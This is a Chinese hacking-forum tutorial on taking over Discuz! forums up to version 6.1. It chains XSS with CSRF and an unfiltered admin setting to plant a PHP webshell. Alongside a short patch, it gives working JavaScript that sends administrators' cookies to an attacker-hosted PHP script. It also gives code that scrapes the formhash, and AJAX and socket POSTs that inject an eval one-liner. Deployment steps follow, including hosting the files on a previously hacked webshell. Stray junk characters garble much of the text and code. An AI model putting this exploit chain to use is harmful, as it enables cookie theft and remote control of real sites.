Discuz XSS得webshell
' T7 ^, O5 B* E# FBy racle @tian6.com4 D% m' r& c/ M6 J( t: E
欢迎转帖.但请保留版权信息.
+ [4 W S3 [( L" k- ?受影响版本 iscuz<=6.1.0,gbk+utf+big5
, R2 V6 I9 v- i( M, U4 M6 o
9 P3 Z: y& \+ i3 c# k3 ^新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.6 ~" y- x9 w. z
' U- K: K0 b$ ~$ k, |0 ^0 f9 f. Z, j" D) U( o4 S. E
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87063 q: _$ H" j7 k3 K' B' ]
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.* J* J- v% \. p$ Y( f
7 x, B% q2 q4 }2 t$ Y& N$ V
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..4 S! M2 B; _2 h. t; _! y
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS& ?5 c7 N3 I/ B, H
* l% M- e) D. `( J2 X
% P0 l6 l2 m4 g. d----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
; s; K! ]4 L1 h: N" Y
& N9 g8 u( \% Q5 } E1 {! L p3 s6 {) H$ y# N7 R# _
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
4 E, X6 `4 D- E7 m }# x* H' o; H7 B
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
5 o* @2 A0 c5 r- e: k7 v8 A' y
' _& W4 N: p% D9 |2 Xproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.6 w! G* W; k' @) [. J9 ~4 _
8 M: ^+ l) g& N( J. l7 M
0 a4 ?1 g/ f; R! p
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
$ d7 u& c$ F ]$ y6 J) L/ D6 z
/ `5 _; G+ q0 k7 T3 @. Q; ^3 e8 D global $runwizardfile, $runwizardhistory;, v3 L2 s% s1 o& S& u" K8 Y
! p2 E, h( S/ n' D* d
$fp = fopen($runwizardfile, 'w');
7 A. O5 X+ o" s+ T+ x5 Z# u) f
( R$ T' f. x/ g* p5 A+ Q fwrite($fp, serialize($runwizardhistory));
% q# h. E5 |3 ?( u- B* e6 c _
' t u0 S5 N' w$ | fclose($fp);' s+ f3 X+ `# O
+ j$ J7 r# T5 D" r3 A
}% p Q! d. }, m
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.4 s G) M& n* ]8 p! X) d! H
以下是修补的办法:function saverunwizardhistory() {7 s: g% O' V0 U3 n
; b, o0 I7 c# T- ]) _1 N
global $runwizardfile, $runwizardhistory;) z o a- ~( z
/ s& k- F, R0 n+ H: O4 S X6 ?4 d
$fp = fopen($runwizardfile, 'w');
# C0 ?0 p2 N3 J! G! M) F
. ?3 h( g& u5 q2 i* J $s = '<?php exit;?>';
& l1 Q9 v" ?( T8 m5 p" H" N2 p4 {6 i, U7 I
$s .= serialize($runwizardhistory);
0 q' u% k ]1 f5 ?: s, E" ?! d0 a9 {/ m. G5 x9 {' _# O) T. R
fwrite($fp, $s);
, ^! F, H5 j1 P0 d: y5 K& P
+ B: t% J0 q! ~! w fclose($fp);
; `6 c# N: C3 ?) i2 ]" U
- |+ E$ H% t2 M9 C+ H}" p4 C1 r1 \: N: T
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.4 s4 k F+ s, }
- R& m$ Q% y& ?' `
6 ^" m! d. o, b" S- Z& m {+ H2 L4 ^% E* `% m# l
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
% e4 f* F) t4 o- e, \" A. K% l3 f" `. M+ O% g2 S) ^( q7 ?) J r. N
! G+ {4 d. z* i. a+ b; x
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.8 `) s) o$ N4 U8 _* _. a0 G! ^
0 _0 V, s2 U) b& P9 i7 i
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
/ x4 A6 F% y1 [" o R% f
3 V% S6 d; M( S' F% @这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.9 v# ~4 q: ^- E0 H
0 b! q- p1 d$ O. }- I& m" i首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
, ?7 p. c- |2 H1 s
0 ~: r' ]& | T# g! Svar url="http://目标网站/admincp.php";
" }+ ?: Z% n/ J. N# n3 A
% X/ l' T) v A; Y/*获得cookies*/
2 O2 X8 \+ V; T! e. ]& `, l9 k. [! d3 Q; |) `* e
function getURL(s) {
: n: ?) I2 k6 w% {% e, A9 J1 X2 G9 [8 d+ l+ X& A5 @5 j! x
var image = new Image();
* L% m0 X9 h$ k6 D1 ~/ R8 k5 Q
: P1 W' A1 r* c3 eimage.style.width = 0;
) j P& E# Q" L8 F9 P# ~( W3 Z6 F/ S3 { T3 j
image.style.height = 0;: Z/ S3 O6 E$ M; E7 O2 c& R. u0 o
( n; L* u6 @' L2 `
image.src = s;
: f+ m$ h4 h( M6 h5 e2 i# C) w7 p, h l' K
}
& p7 w- @- ^4 @
9 o$ Y: j6 `$ b' W9 J% w5 i- vgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
8 b1 q% \- Z6 U% Y复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];2 E! r' U$ e, K1 Z- j$ o! ? ~# l4 T
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
) t* E7 L9 Z& Z- m0 }0 q1 X$ q$ `/ g' F( r
- B. |( ~3 `( P$ N! }. S
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";6 X) o3 A% J$ N, m( u6 Y
: h, [1 z: O3 h' M; x
. s7 R6 d& v0 k2 D* ^, a# Z
+ \# U4 x/ J+ s+ F* o/*hash*/
2 y0 _5 ] z# O$ f9 _
, j) U* u/ A/ I2 E$ Qvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");1 M; t( k) }4 ~& P9 ^* l( u
H" `& h9 J1 ~, ?2 V4 ?
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
& U" K6 B5 O O7 q9 u! U' ^
4 ~- f }5 E/ p' l- ]5 |xmlHttpReq.send();0 ^. T! q% L" q
* B. a2 y7 T* V" [var resource = xmlHttpReq.responseText;
. W3 \2 r0 I( L: [" ^# |% v# y& B
7 s9 k* o# X) X) G- ?var numero = resource.search(/formhash/);
, j) x* \' F# i% n% J: y \4 Y2 @
{; H! c* G1 ~& p4 `+ Bvar formhash=encodeURIComponent(resource.substr(numero+17,8));
1 d' U* w3 e( Q% Y8 s- ?4 W# o% _, e D! }/ Z& q
9 x0 ]8 }1 @. b
% b$ z7 b" u3 Y* t; w6 q0 n
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
|4 g, X' d9 C: P; Z) d
0 _7 ]) O1 l' p& YxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 1 A7 O0 y8 C6 j3 B* R( d8 S H, Q: p
1 S# H; W/ \5 X. mxmlHttpReq.setRequestHeader("Referer", url);
7 n2 b) g: L3 z& z& m1 }2 d9 A3 o
/ p& y( X9 y$ m& ExmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
- e* X# G) l5 i* F" f! D$ T; {7 q
! @$ r4 p" L0 L: ?0 V3 M3 IxmlHttpReq.setrequestheader("content-length",post.length); 5 P2 y' b$ j& q% l
' z! Q8 V, P# g3 n0 y4 k
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); ( r r! T) g. @$ j/ K
) ^+ R5 m; h- J( [$ n5 @ g
xmlHttpReq.send(post);//发送数据
* B% q8 |1 _2 d s8 m' }: K复制代码这里HASH我假设正确,这样提交,也无须cookies
2 Q0 [2 c+ L" v$ K* N
9 _# H6 }) K; t5 N$ S* Q# N再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
5 g# q8 l" K& O- f* x; C$ f- A" y2 E$ U$ p$ ~* F; p1 _5 k
if (!$sock) die("$errstr ($errno)\n");
; n8 Q: x$ I& e7 s+ ]3 K& r- T' o
0 V( t3 n7 ^* \( }7 C$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
8 q( a$ i0 J% s3 ^- H$ z/ L! O [$ ^4 d& `4 u2 `
+ a! O+ c3 k. _" P# h' o' v# n
% ~, |7 x+ Z/ r1 D* h! G9 hfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
6 y% {: {, b, u7 w- ~9 F) m
# |+ E5 Q( p0 c9 q. Q5 }fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
6 A) r2 d5 Y6 R
4 J& y5 k/ E1 @3 R: e0 Y. Bfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
2 e( z2 R' e7 ? m; w! s h9 m' z* l2 [* t
fwrite($sock, "Accept-Language: zh-cn\r\n");
6 R6 ]0 }$ v5 o) v( h
5 k/ z0 q$ `4 O2 M, {! g2 ufwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");9 `& s3 v: q* }" \3 I/ a
/ q" p$ B: q: \) L j6 h# |fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");. i. B* H6 y; W7 D0 A
# b) i' _2 b1 X7 U% Xfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");) F" o& `3 C$ A
! z5 v" A3 Q$ |# ]# `& D4 [1 J2 S
fwrite($sock, "Host: $url\r\n");
; ^2 r# b1 }) G+ t9 Q, q- d5 F
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");2 i6 J. R a5 n2 D! |) M; x
3 @* K9 h. a S2 P6 x. D: ^& Mfwrite($sock, "Connection: Keep-Alive\r\n");$ D+ L0 j! I: K# u' J% y" Z6 i
. e5 G3 L( F- C, n! e+ ^fwrite($sock, "Cache-Control: no-cache\r\n");
6 s U( n& b/ ~, F. v+ E g- i' ]5 P! F
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");; ]7 h q# L" {9 s
% U5 u/ c/ c7 }9 c) y6 Ofwrite($sock, $data);
; o. l+ S. \5 x) q* n9 f* C s4 }, J! G9 ?2 v6 w' D4 P7 D
5 ~' J/ y: ~0 T0 x1 p
8 w' b. ^) l2 q/ b; \( Y5 I, o* T
$headers = "";- C1 B4 I' }, o& m
- t& r& L2 N8 T$ s: {: o: U
while ($str = trim(fgets($sock, 4096)))
! n- R/ i g) ` x0 Y" Z5 `) J, N) q r( ~" {$ ~2 x$ i" \; R6 n$ b
$headers .= "$str\n"; W! a3 f# x1 t: X: k( c8 j2 b
( a! o7 [9 `- ~0 F* S7 V$ Z3 wecho "\n";
0 b8 x$ Z; ]* [5 `. Z+ R2 V% b0 T6 f8 R$ S3 E2 b% G# e
$body = "";
$ [0 Z, }: j( B0 n% ?1 ]
* Z" u7 @! F, d9 xwhile (!feof($sock))
& w& A- }6 ^# e3 V: i' |$ L* _5 j. w6 |$ q& h/ Y7 ]
$body .= fgets($sock, 4096);! F+ z3 x$ D+ C3 N. k% j( Z$ P* M
+ \ u( i& c' f( h; s0 }7 @! t
fclose($sock);1 P) x) I& j6 L1 J$ e) u+ q8 ^1 ?
4 w* |4 L$ D5 V5 v8 Y8 `echo $body;
$ T+ f' D6 s7 v7 X9 h& b9 ]复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^) C9 g# i+ B$ }, m* Q5 P2 K& c
0 I+ E- Q5 B' x) f7 S" p) V- q {. b
- {' A0 s2 d" E+ t
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
6 O$ G; P" [' J8 \6 z5 v4 G6 I( Z% }, C+ ~" \$ ~2 q# \( A2 S+ e
( G" Z/ Z, l+ o$ b5 D
1 HP SOCKET利用方法首先打开racle.js! V5 D8 @- U' S9 t$ H. X, L B8 n
5 ]. d, o; K8 D* avar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
- C6 g9 `' c( S# t' v
! s6 a y% I( |1 M: D. i* c3 y9 o. i: N% P
% e# f7 k+ S1 ~7 R4 |2 {+ E d然后打开racle@tian6.php L% M! \) N! _2 }/ |
+ I4 ~/ U9 D2 Z8 U
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com G2 _ z9 |/ }) @6 y
$ S" `( x+ H1 v" f
, E1 l. W9 s/ r0 h$ h& {8 i1 }" s1 `( M% l s- y, @6 A
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
s( i* i) b& k' ]8 d
( e9 ~" I+ Y S$ _& ?7 hgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));: W* l/ ^' k- y) e8 _- j
' U) f0 }7 n2 l. Y8 n8 v) w
为
) I' ^4 w3 c/ E: K. r2 H# A9 H# j& T5 p" J
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));5 H6 v. ^! [1 q# O S: ^
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.0 m7 b d7 ?8 F g
5 c% o6 }4 Q$ h* _4 Y) v
1 Z( m% n i8 ]; \ o7 I" ^% N7 |! i
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:! P" m. D6 X- o' [2 b+ C6 `* Z
; W9 \2 o# V) H9 Jvar formhash=encodeURIComponent(resource.substr(numero+17,8));" A8 y/ O$ v0 Q" C3 n1 N5 K
* H) \0 J: }; `
为
* }$ K, Q8 }1 u0 ^
$ o' P8 _7 x, j' Pvar formhash=encodeURIComponent(resource.substr(numero+9,8));9 l8 e' [5 W9 V- Y! l8 m
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
2 t1 R: m8 ~: C H L0 ?- Q1 L U, Q3 q+ I
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
0 N; I+ d6 R3 @6 o
: b: R( r9 c* J& l9 p% N- m如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.; d: K& d. ?5 I( u
2 O9 t m( j5 r0 _" ?2 t7 o不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.1 F+ z6 I+ @ i: z& A+ `$ D/ ]
2 P3 \ \) f- p |